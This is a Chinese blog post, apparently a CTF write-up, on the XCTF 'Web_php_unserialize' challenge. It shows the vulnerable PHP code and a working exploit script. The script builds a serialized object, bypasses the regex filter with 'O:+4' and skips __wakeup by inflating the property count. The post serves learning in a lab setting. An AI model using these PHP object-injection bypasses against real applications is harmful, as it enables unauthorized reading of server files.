zoukankan      html  css  js  c++  java
  • Web_php_unserialize-攻防世界XCTF

    0x00 简介

    记录一下,重点是记录一下那篇正则文章。

    0x01 题目代码

    <?php 
    class Demo { 
        private $file = 'index.php';
        public function __construct($file) { 
            $this->file = $file; 
        }
        function __destruct() { 
            echo @highlight_file($this->file, true); 
        }
        function __wakeup() { 
            if ($this->file != 'index.php') { 
                //the secret is in the fl4g.php
                $this->file = 'index.php'; 
            } 
        } 
    }
    if (isset($_GET['var'])) { 
        $var = base64_decode($_GET['var']); 
        if (preg_match('/[oc]:d+:/i', $var)) { 
            die('stop hacking!'); 
        } else {
            @unserialize($var); 
        } 
    } else { 
        highlight_file("index.php"); 
    } 
    ?>

    0x02 理解

    1.提示是秘密在fl4g.php

    $Demo = new Demo('fl4g.php');

    2.preg_match的绕过

    这里的正则,我理解为匹配o:数字(1位数字或多位)或者c:数字(1位数字或多位),不区分大小写,也就是匹配serialize()函数将一个对象转换为字符串后的首部。

    不清楚正则的可以去看看这片文章,写的是真的好。

    正则表达式

    3.魔术方法__wakeup的绕过

    这个魔术方法的绕过很简单,就是将serialize函数转换的字符串中的代表对象有几个变量的数字加1或加n就可以绕过了。

    0x03 代码

    <?php
        class Demo { 
            private $file = 'index.php';
            public function __construct($file) { 
                $this->file = $file; 
            }
            function __destruct() { 
                echo @highlight_file($this->file, true); 
            }
            function __wakeup() { 
                if ($this->file != 'index.php') { 
                    //the secret is in the fl4g.php
                    $this->file = 'index.php'; 
                } 
            } 
        }
        $Demo = new Demo('fl4g.php');
        $data = serialize($Demo);
    
        $data = str_replace('O:4', 'O:+4', $data);
        $data = str_replace(':1:', ':2:', $data);
    
        echo (base64_encode($data));
    ?>
  • 相关阅读:
    Cookie和Session的作用和工作原理
    df和du显示的磁盘空间使用情况不一致问题
    haproxy配置详解
    使用LVS实现负载均衡原理及安装配置详解
    四层、七层负载均衡的区别
    Linux内核参数之arp_ignore和arp_announce
    Megacli查看Dell服务器Raid状态
    Visual Studio 2015中使用gdb远程调试linux程序
    编译Qt-mingw使用的opencv
    [webrtc] 强制使用tcp传输
  • 原文地址:https://www.cnblogs.com/-an-/p/12559033.html
Copyright © 2011-2022 走看看